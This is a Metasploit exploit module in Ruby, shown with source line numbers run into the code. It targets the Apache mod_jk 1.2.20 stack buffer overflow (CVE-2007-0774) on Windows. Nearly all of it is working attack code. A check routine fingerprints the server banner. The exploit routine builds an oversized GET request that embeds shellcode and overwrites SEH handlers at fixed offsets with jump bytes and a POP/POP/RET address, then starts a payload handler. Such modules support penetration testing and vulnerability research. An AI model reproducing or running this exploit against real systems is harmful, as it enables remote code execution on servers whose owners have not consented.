Path: blob/master/modules/exploits/windows/http/apache_modjk_overflow.rb
19719 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Apache mod_jk 1.2.20 Buffer Overflow',16'Description' => %q{17This is a stack buffer overflow exploit for mod_jk 1.2.20.18Should work on any Win32 OS.19},20'Author' => 'Nicob <nicob[at]nicob.net>',21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2007-0774' ],24[ 'OSVDB', '33855' ],25[ 'BID', '22791' ],26[ 'ZDI', '07-008' ]27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Privileged' => true,32'Payload' => {33'Space' => 4000,34'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c",35'DisableNops' => true36},37'Platform' => 'win',38'Targets' => [39# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)40['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2007-03-02',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(80)55]56)57end5859def check60connect6162sock.put("GET / HTTP/1.0\r\n\r\n")63resp = sock.get_once64disconnect6566if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1\.2\.20/))) then67vprint_status("Apache version detected : #{m[1]}")68return Exploit::CheckCode::Appears69else70return Exploit::CheckCode::Safe71end72end7374def exploit75connect7677uri_start = "GET /"78uri_end = ".html HTTP/1.0\r\n\r\n"79sc_base = 168081shellcode = payload.encoded82sploit = rand_text_alphanumeric(5001)83sploit[sc_base, shellcode.length] = shellcode8485# 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.2086# 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.2087# 4423 : Apache/2.2.3 (Win32) mod_jk/1.2.208889[ 4343, 4407, 4423 ].each { |seh_offset|90sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')91sploit[seh_offset - 4, 2] = "\xeb\xf9"92sploit[seh_offset, 4] = [ target.ret ].pack('V')93}9495print_status("Trying target #{target.name}...")96sock.put(uri_start + sploit + uri_end)9798resp = sock.get_once99if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))100print_error("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")101end102103handler104disconnect105end106end107108109